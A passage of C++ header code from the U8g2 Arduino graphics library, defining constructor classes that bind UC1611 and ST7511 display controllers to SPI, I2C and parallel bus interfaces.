u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_6800 : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_8080 : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_6800 : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_8080 : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_CG160160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_CG160160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_CG160160_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_CG160160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_CG160160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_6800 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_8080 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_6800 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_8080 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_6800 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_8080 : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_IDS4073_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_IDS4073_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_IDS4073_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_IDS4073_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ids4073_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_6800 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, 